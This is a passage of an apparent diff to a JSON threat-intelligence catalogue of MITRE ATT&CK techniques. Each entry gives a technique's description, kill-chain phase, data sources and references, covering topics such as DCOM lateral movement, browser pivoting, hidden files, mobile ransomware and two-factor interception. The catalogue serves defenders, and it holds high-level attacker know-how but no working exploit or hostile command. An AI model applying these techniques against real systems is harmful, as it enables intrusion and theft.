loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries can use this functionality as a way to execute arbitrary code on a system.", + "meta": { + "external_id": "T1129", + "kill_chain": [ + "mitre-attack:execution" + ], + "mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Process monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1129", + "https://en.wikipedia.org/wiki/Microsoft_Windows_library_files" + ] + }, + "uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", + "value": "Execution through Module Load - T1129" + }, + { + "description": "For attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "meta": { + "external_id": "T1341", + "kill_chain": [ + "mitre-pre-attack:persona-development" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1341" + ] + }, + "uuid": "9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "value": "Build social network persona - T1341" + }, + { + "description": "A remote access tool (RAT) is a piece of software that allows a remote user to control a system as if they had physical access to that system. An adversary may utilize existing RATs, modify existing RATs, or create their own RAT. (Citation: ActiveMalwareEnergy)", + "meta": { + "external_id": "T1351", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1351" + ] + }, + "uuid": "9755ecdc-deb0-40e6-af49-713cb0f8ed92", + "value": "Remote access tool development - T1351" + }, + { + "description": "An adversary may secure and protect their infrastructure just as defenders do. This could include the use of VPNs, security software, logging and monitoring, passwords, or other defensive measures. (Citation: KrebsTerracottaVPN)", + "meta": { + "external_id": "T1317", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1317" + ] + }, + "uuid": "cc0faf66-4df2-4328-9c9c-b0ca5de915ad", + "value": "Secure and protect infrastructure - T1317" + }, + { + "description": "Obfuscation is the act of creating code that is more difficult to understand. Encoding transforms the code using a publicly available format. Encryption transforms the code such that it requires a key to reverse the encryption. (Citation: CylanceOpCleaver)", + "meta": { + "external_id": "T1319", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1319" + ] + }, + "uuid": "357e137c-7589-4af1-895c-3fbad35ea4d2", + "value": "Obfuscate or encrypt code - T1319" + }, + { + "description": "An adversary may encrypt files stored on the mobile device to prevent the user from accessing them, only unlocking access to the files after a ransom is paid. Without escalated privileges, the adversary is generally limited to only encrypting files in external/shared storage locations. This technique has been demonstrated on Android, and we are unaware of any demonstrated use on iOS.", + "meta": { + "external_id": "APP-28", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1471", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html" + ] + }, + "uuid": "d9e88203-2b5d-405f-a406-2933b1e3d7e4", + "value": "Encrypt Files for Ransom - T1471" + }, + { + "description": "Windows Distributed Component Object Model (DCOM) is transparent middleware that extends the functionality of Component Object Model (COM) (Citation: Microsoft COM) beyond a local computer using remote procedure call (RPC) technology. COM is a component of the Windows application programming interface (API) that enables interaction between software objects. Through COM, a client object can call methods of server objects, which are typically Dynamic Link Libraries (DLL) or executables (EXE).\n\nPermissions to interact with local and remote server COM objects are specified by access control lists (ACL) in the Registry. (Citation: Microsoft COM ACL) (Citation: Microsoft Process Wide Com Keys) (Citation: Microsoft System Wide Com Keys) By default, only Administrators may remotely activate and launch COM objects through DCOM.\n\nAdversaries may use DCOM for lateral movement. Through DCOM, adversaries operating in the context of an appropriately privileged user can remotely obtain arbitrary and even direct shellcode execution through Office applications (Citation: Enigma Outlook DCOM Lateral Movement Nov 2017) as well as other Windows objects that contain insecure methods. (Citation: Enigma MMC20 COM Jan 2017) (Citation: Enigma DCOM Lateral Movement Jan 2017) DCOM can also execute macros in existing documents (Citation: Enigma Excel DCOM Sept 2017) and may also invoke [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1173) (DDE) execution directly through a COM created instance of a Microsoft Office application (Citation: Cyberreason DCOM DDE Lateral Movement Nov 2017), bypassing the need for a malicious document.\n\nDCOM may also expose functionalities that can be leveraged during other areas of the adversary chain of activity such as Privilege Escalation and Persistence. (Citation: ProjectZero File Write EoP Apr 2018)", + "meta": { + "external_id": "T1175", + "kill_chain": [ + "mitre-attack:lateral-movement" + ], + "mitre_data_sources": [ + "API monitoring", + "Authentication logs", + "DLL monitoring", + "Packet capture", + "Process monitoring", + "Windows Registry", + "Windows event logs" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1175", + "https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/", + "https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/", + "https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/", + "https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/", + "https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx", + "https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx", + "https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx", + "https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1", + "https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html" + ] + }, + "uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", + "value": "Distributed Component Object Model - T1175" + }, + { + "description": "Adversaries can take advantage of security vulnerabilities and inherent functionality in browser software to change content, modify behavior, and intercept information as part of various man in the browser techniques. (Citation: Wikipedia Man in the Browser)\n\nA specific example is when an adversary injects software into a browser that allows an them to inherit cookies, HTTP sessions, and SSL client certificates of a user and use the browser as a way to pivot into an authenticated intranet. (Citation: Cobalt Strike Browser Pivot) (Citation: ICEBRG Chrome Extensions)\n\nBrowser pivoting requires the SeDebugPrivilege and a high-integrity process to execute. Browser traffic is pivoted from the adversary's browser through the user's browser by setting up an HTTP proxy which will redirect any HTTP and HTTPS traffic. This does not alter the user's traffic in any way. The proxy connection is severed as soon as the browser is closed. Whichever browser process the proxy is injected into, the adversary assumes the security context of that process. Browsers typically create a new process for each tab that is opened and permissions and certificates are separated accordingly. With these permissions, an adversary could browse to any resource on an intranet that is accessible through the browser and which the browser has sufficient permissions, such as Sharepoint or webmail. Browser pivoting also eliminates the security provided by 2-factor authentication. (Citation: cobaltstrike manual)", + "meta": { + "external_id": "T1185", + "kill_chain": [ + "mitre-attack:collection" + ], + "mitre_data_sources": [ + "Authentication logs", + "Packet capture", + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1185", + "https://cobaltstrike.com/downloads/csmanual38.pdf", + "https://en.wikipedia.org/wiki/Man-in-the-browser", + "https://www.cobaltstrike.com/help-browser-pivoting", + "https://www.icebrg.io/blog/malicious-chrome-extensions-enable-criminals-to-impact-over-half-a-million-users-and-global-businesses" + ] + }, + "uuid": "544b0346-29ad-41e1-a808-501bb4193f47", + "value": "Man in the Browser - T1185" + }, + { + "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\n### Windows\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.\n\n### Linux/Mac\n\nUsers can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.\n\n### Mac\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.", + "meta": { + "external_id": "T1158", + "kill_chain": [ + "mitre-attack:defense-evasion", + "mitre-attack:persistence" + ], "mitre_data_sources": [ "File monitoring", - "Process Monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1158", + "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf" + ] + }, + "uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", + "value": "Hidden Files and Directories - T1158" + }, + { + "description": "On Android, details of onboard network interfaces are accessible to apps through the java.net.NetworkInterface class (Citation: NetworkInterface). The Android TelephonyManager class can be used to gather related information such as the IMSI, IMEI, and phone number (Citation: TelephonyManager).", + "meta": { + "external_id": "T1422", + "kill_chain": [ + "mitre-mobile-attack:discovery" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1422", + "https://developer.android.com/reference/java/net/NetworkInterface.html", + "https://developer.android.com/reference/android/telephony/TelephonyManager.html" + ] + }, + "uuid": "d4536441-1bcc-49fa-80ae-a596ed3f7ffd", + "value": "Local Network Configuration Discovery - T1422" + }, + { + "description": "Analysts identify gap areas that generate a compelling need to generate a Key Intelligence Topic (KIT) or Key Intelligence Question (KIQ). (Citation: BrighthubGapAnalysis) (Citation: ICD115) (Citation: JP2-01)", + "meta": { + "external_id": "T1233", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1233" + ] + }, + "uuid": "0fad2267-9f46-4ebb-91b5-d543243732cb", + "value": "Identify analyst level gaps - T1233" + }, + { + "description": "Analysts may receive Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) from leadership or key decision makers and generate intelligence requirements to articulate intricacies of information required on a topic or question. (Citation: Herring1999)", + "meta": { + "external_id": "T1234", + "kill_chain": [ + "mitre-pre-attack:priority-definition-planning" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1234" + ] + }, + "uuid": "e754fa49-2db1-416b-92db-7f886decd099", + "value": "Generate analyst intelligence requirements - T1234" + }, + { + "description": "Security defensive capabilities are designed to stop or limit unauthorized network traffic or other types of accesses. (Citation: OSFingerprinting2014) (Citation: NMAP WAF NSE)", + "meta": { + "external_id": "T1263", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1263" + ] + }, + "uuid": "04e93ca1-8415-4a46-8549-73b7c84f8dc3", + "value": "Identify security defensive capabilities - T1263" + }, + { + "description": "A technique used by the adversary similar to Dynamic DNS with the exception that the use of multiple DNS infrastructures likely have whois records. (Citation: KrebsStLouisFed)", + "meta": { + "external_id": "T1327", + "kill_chain": [ + "mitre-pre-attack:establish-&-maintain-infrastructure" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1327" + ] + }, + "uuid": "616238cb-990b-4c71-8f50-d8b10ed8ce6b", + "value": "Use multiple DNS infrastructures - T1327" + }, + { + "description": "An adversary can probe a victim's network to determine configurations. The configurations may provide opportunities to route traffic through the network in an undetected or less detectable way. (Citation: Li2014ExploitKits) (Citation: RecurlyGHOST)", + "meta": { + "external_id": "T1293", + "kill_chain": [ + "mitre-pre-attack:technical-weakness-identification" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1293" + ] + }, + "uuid": "fe421ab9-c8f3-42f7-9ae1-5d6c324cc925", + "value": "Analyze application security posture - T1293" + }, + { + "description": "As demonstrated by the XcodeGhost attack (Citation: PaloAlto-XcodeGhost1), app developers could be provided with modified versions of software development tools (e.g. compilers) that automatically inject malicious or exploitable code into applications.\n\nDetection: Enterprises could deploy integrity checking software to the computers that they use to develop code to detect presence of unauthorized, modified software development tools.\n\nPlatforms: Android, iOS", + "meta": { + "external_id": "T1462", + "refs": [ + "https://attack.mitre.org/techniques/T1462" + ] + }, + "related": [ + { + "dest-uuid": "0d95940f-9583-4e0f-824c-a42c1be47fad", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "revoked-by" + } + ], + "uuid": "b928b94a-4966-4e2a-9e61-36505b896ebc", + "value": "Malicious Software Development Tools - T1462" + }, + { + "description": "Technology usage patterns include identifying if users work offsite, connect remotely, or other possibly less restricted/secured access techniques. (Citation: SANSRemoteAccess)", + "meta": { + "external_id": "T1264", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1264" + ] + }, + "uuid": "194bff4f-c218-40df-bea3-1ace715de8dd", + "value": "Identify technology usage patterns - T1264" + }, + { + "description": "An adversary could seek to generate fraudulent advertising revenue from mobile devices, for example by triggering automatic clicks of advertising links without user involvement.", + "meta": { + "external_id": "T1472", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1472" + ] + }, + "uuid": "f981d199-2720-467e-9dc9-eea04dbe05cf", + "value": "Generate Fraudulent Advertising Revenue - T1472" + }, + { + "description": "An adversary may identify sensitive personnel information not typically posted on a social media site, such as address, marital status, financial history, and law enforcement infractions. This could be conducted by searching public records that are frequently available for free or at a low cost online. (Citation: RSA-APTRecon)", + "meta": { + "external_id": "T1274", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1274" + ] + }, + "uuid": "7dae871c-effc-444b-9962-4b7efefe7d40", + "value": "Identify sensitive personnel information - T1274" + }, + { + "description": "An adversary could use a malicious or exploited application to surreptitiously record activities using the device microphone and/or camera through use of standard operating system APIs.", + "meta": { + "external_id": "APP-19", + "kill_chain": [ + "mitre-mobile-attack:collection" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1429", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-19.html" + ] + }, + "uuid": "6683aa0c-d98a-4f5b-ac57-ca7e9934a760", + "value": "Microphone or Camera Recordings - T1429" + }, + { + "description": "An adversary can attempt to identify web defensive services as [CloudFlare](https://www.cloudflare.com), [IPBan](https://github.com/jjxtra/Windows-IP-Ban-Service), and [Snort](https://www.snort.org). This may be done by passively detecting services, like [CloudFlare](https://www.cloudflare.com) routing, or actively, such as by purposefully tripping security defenses. (Citation: NMAP WAF NSE)", + "meta": { + "external_id": "T1256", + "kill_chain": [ + "mitre-pre-attack:technical-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1256" + ] + }, + "uuid": "288b3cc3-f4da-4250-ab8c-d8b5dbed94ca", + "value": "Identify web defensive services - T1256" + }, + { + "description": "The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)", + "meta": { + "external_id": "T1269", + "kill_chain": [ + "mitre-pre-attack:people-information-gathering" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1269" + ] + }, + "uuid": "0c0f075b-5d69-43f2-90df-d9ad18f44624", + "value": "Identify people of interest - T1269" + }, + { + "description": "After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)", + "meta": { + "external_id": "T1353", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1353" + ] + }, + "uuid": "df42286d-dfbd-4455-bc9d-aef52ac29aa7", + "value": "Post compromise tool development - T1353" + }, + { + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic.\n\nIn the mobile environment, the Google Cloud Messaging (GCM; two-way) and Apple Push Notification Service (APNS; one-way server-to-device) are commonly used protocols on Android and iOS respectively that would blend in with routine device traffic and are difficult for enterprises to inspect. As described by Kaspersky (Citation: Kaspersky-MobileMalware), Google responds to reports of abuse by blocking access to GCM.", + "meta": { + "external_id": "APP-29", + "kill_chain": [ + "mitre-mobile-attack:command-and-control", + "mitre-mobile-attack:exfiltration" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1437", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-29.html", + "https://securelist.com/mobile-malware-evolution-2013/58335/" + ] + }, + "uuid": "6a3f6490-9c44-40de-b059-e5940f246673", + "value": "Standard Application Layer Protocol - T1437" + }, + { + "description": "An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", + "meta": { + "external_id": "T1349", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1349" + ] + }, + "uuid": "4886e3c2-468b-4e26-b7e5-2031d995d13a", + "value": "Build or acquire exploits - T1349" + }, + { + "description": "Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)", + "meta": { + "external_id": "T1355", + "kill_chain": [ + "mitre-pre-attack:build-capabilities" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1355" + ] + }, + "uuid": "eacadff4-164b-451c-bacc-7b29ebfd0c3f", + "value": "Create infected removable media - T1355" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nSending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)", + "meta": { + "external_id": "T1366", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1366" + ] + }, + "uuid": "eb517589-eefc-480e-b8e3-7a8b1066f6f1", + "value": "Targeted social media phishing - T1366" + }, + { + "description": "If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.\n\nThomas Roth describes the potential for placing a rootkit within the TrustZone secure world (Citation: Roth-Rootkits).", + "meta": { + "external_id": "APP-27", + "kill_chain": [ + "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:persistence" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1399", + "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html", + "https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf", + "https://www.apple.com/business/docs/iOS_Security_Guide.pdf" + ] + }, + "uuid": "f1c3d071-0c24-483d-aca0-e8b8496ce468", + "value": "Modify Trusted Execution Environment - T1399" + }, + { + "description": "A malicious app could use standard Android APIs to send SMS messages. SMS messages could potentially be sent to premium numbers that charge the device owner and generate revenue for an adversary, for example as described by Lookout in (Citation: Lookout-SMS).\n\nOn iOS, apps cannot send SMS messages.\n\nOn Android, apps must hold the SEND_SMS permission to send SMS messages. Additionally, Android version 4.2 and above has mitigations against this threat by requiring user consent before allowing SMS messages to be sent to premium numbers (Citation: AndroidSecurity2014).", + "meta": { + "external_id": "T1448", + "kill_chain": [ + "mitre-mobile-attack:effects" + ], + "mitre_platforms": [ + "Android" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1448", + "https://blog.lookout.com/10-organizations-build-60-of-russian-toll-fraud-malware", + "https://static.googleusercontent.com/media/source.android.com/en//security/reports/Google_Android_Security_2014_Report_Final.pdf" + ] + }, + "uuid": "8f0e39c6-82c9-41ec-9f93-5696c0f2e274", + "value": "Premium SMS Toll Fraud - T1448" + }, + { + "description": "An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate as described in NIST SP 800-187 (Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.", + "meta": { + "external_id": "CEL-3", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1466", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html", + "http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf" + ] + }, + "uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", + "value": "Downgrade to Insecure Protocols - T1466" + }, + { + "description": "An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. For example, Ritter and DePerry of iSEC Partners demonstrated this technique using a compromised cellular femtocell at Black Hat USA 2013 (Citation: Computerworld-Femtocell).", + "meta": { + "external_id": "CEL-7", + "kill_chain": [ + "mitre-mobile-attack:network-effects" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1467", + "https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html", + "http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html" + ] + }, + "uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", + "value": "Rogue Cellular Base Station - T1467" + }, + { + "description": "The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.\n\n### Baseband Vulnerability Exploitation\n\nA message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi or other) to the mobile device could exploit a vulnerability in code running on the device. D. Komaromy and N. Golde demonstrated baseband exploitation of a Samsung mobile device at the PacSec 2015 security conference. (Citation: Register-BaseStation) Weinmann described and demonstrated \"the risk of remotely exploitable memory corruptions in cellular baseband stacks.\" (Citation: Weinmann-Baseband)\n\n### Malicious SMS Message\n\nAn SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device. For example, Mulliner and Miller demonstrated such an attack against the iPhone in 2009. (Citation: Forbes-iPhoneSMS) An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages. (Citation: SRLabs-SIMCard)", + "meta": { + "external_id": "T1477", + "kill_chain": [ + "mitre-mobile-attack:initial-access" + ], + "mitre_platforms": [ + "Android", + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1477", + "http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/", + "https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf", + "http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html", + "https://srlabs.de/bites/rooting-sim-cards/" + ] + }, + "uuid": "2d646840-f6f5-4619-a5a8-29c8316bbac5", + "value": "Exploit via Radio Interfaces - T1477" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique to push an [iOS](https://www.apple.com/ios) or [Android](https://www.android.com) MMS-type message to the target which does not require interaction on the part of the target to be successful. (Citation: BlackHat Stagefright) (Citation: WikiStagefright)", + "meta": { + "external_id": "T1373", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1373" + ] + }, + "uuid": "702dc95d-3266-42dc-9eef-4a19e2445148", + "value": "Push-notification client-side exploit - T1373" + }, + { + "description": "The use of software, data, or commands to take advantage of a weakness in an Internet-facing computer system or program in order to cause unintended or unanticipated behavior. The weakness in the system can be a bug, a glitch, or a design vulnerability. These applications are often websites, but can include databases (like SQL) (Citation: NVD CVE-2016-6662), standard services (like SMB (Citation: CIS Multiple SMB Vulnerabilities) or SSH), and any other applications with Internet accessible open sockets, such as web servers and related services. (Citation: NVD CVE-2014-7169) Depending on the flaw being exploited this may include [Exploitation for Defense Evasion](https://attack.mitre.org/techniques/T1211).\n\nFor websites and databases, the OWASP top 10 gives a good list of the top 10 most common web-based vulnerabilities. (Citation: OWASP Top 10)", + "meta": { + "external_id": "T1190", + "kill_chain": [ + "mitre-attack:initial-access" + ], + "mitre_data_sources": [ + "Packet capture", + "Web logs", + "Web application firewall logs", + "Application logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1190", + "https://nvd.nist.gov/vuln/detail/CVE-2016-6662", + "https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/", + "https://nvd.nist.gov/vuln/detail/CVE-2014-7169", + "https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project" + ] + }, + "uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", + "value": "Exploit Public-Facing Application - T1190" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique that takes advantage of flaws in client-side applications without targeting specific users. For example, an exploit placed on an often widely used public web site intended for drive-by delivery to whomever visits the site. (Citation: CitizenLabGreatCannon)", + "meta": { + "external_id": "T1370", + "kill_chain": [ + "mitre-pre-attack:launch" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1370" + ] + }, + "uuid": "2ec57bf1-fcc3-4c19-9516-79b7fde483af", + "value": "Untargeted client-side exploitation - T1370" + }, + { + "description": "Use of two- or multifactor authentication is recommended and provides a higher level of security than user names and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. Adversaries may target authentication mechanisms, such as smart cards, to gain access to systems, services, and network resources.\n\nIf a smart card is used for two-factor authentication (2FA), then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011)\n\nAdversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011)\n\nOther methods of 2FA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Although primarily focused on by cyber criminals, these authentication mechanisms have been targeted by advanced actors. (Citation: Operation Emmental)", + "meta": { + "external_id": "T1111", + "kill_chain": [ + "mitre-attack:credential-access" + ], + "mitre_data_sources": [ + "API monitoring", + "Process monitoring", + "Kernel drivers" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1111", + "https://dl.mandiant.com/EE/assets/PDF_MTrends_2011.pdf", + "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", + "https://gcn.com/articles/2011/06/07/rsa-confirms-tokens-used-to-hack-lockheed.aspx" + ] + }, + "uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", + "value": "Two-Factor Authentication Interception - T1111" + }, + { + "description": "Host based hiding techniques are designed to allow an adversary to remain undetected on a machine upon which they have taken action. They may do this through the use of static linking of binaries, polymorphic code, exploiting weakness in file formats, parsers, or self-deleting code. (Citation: VirutAP)", + "meta": { + "external_id": "T1314", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1314" + ] + }, + "uuid": "6f088e84-37b2-44de-8df3-393908f2d77b", + "value": "Host-based hiding techniques - T1314" + }, + { + "description": "Technical network hiding techniques are methods of modifying traffic to evade network signature detection or to utilize misattribution techniques. Examples include channel/IP/VLAN hopping, mimicking legitimate operations, or seeding with misinformation. (Citation: HAMMERTOSS2015)", + "meta": { + "external_id": "T1315", + "kill_chain": [ + "mitre-pre-attack:adversary-opsec" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1315" + ] + }, + "uuid": "90884cdb-31dd-431c-87db-9cc7e03191e5", + "value": "Network-based hiding techniques - T1315" + }, + { + "description": "This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.\n\nA technique used to compromise a specific group of end users by taking advantage of flaws 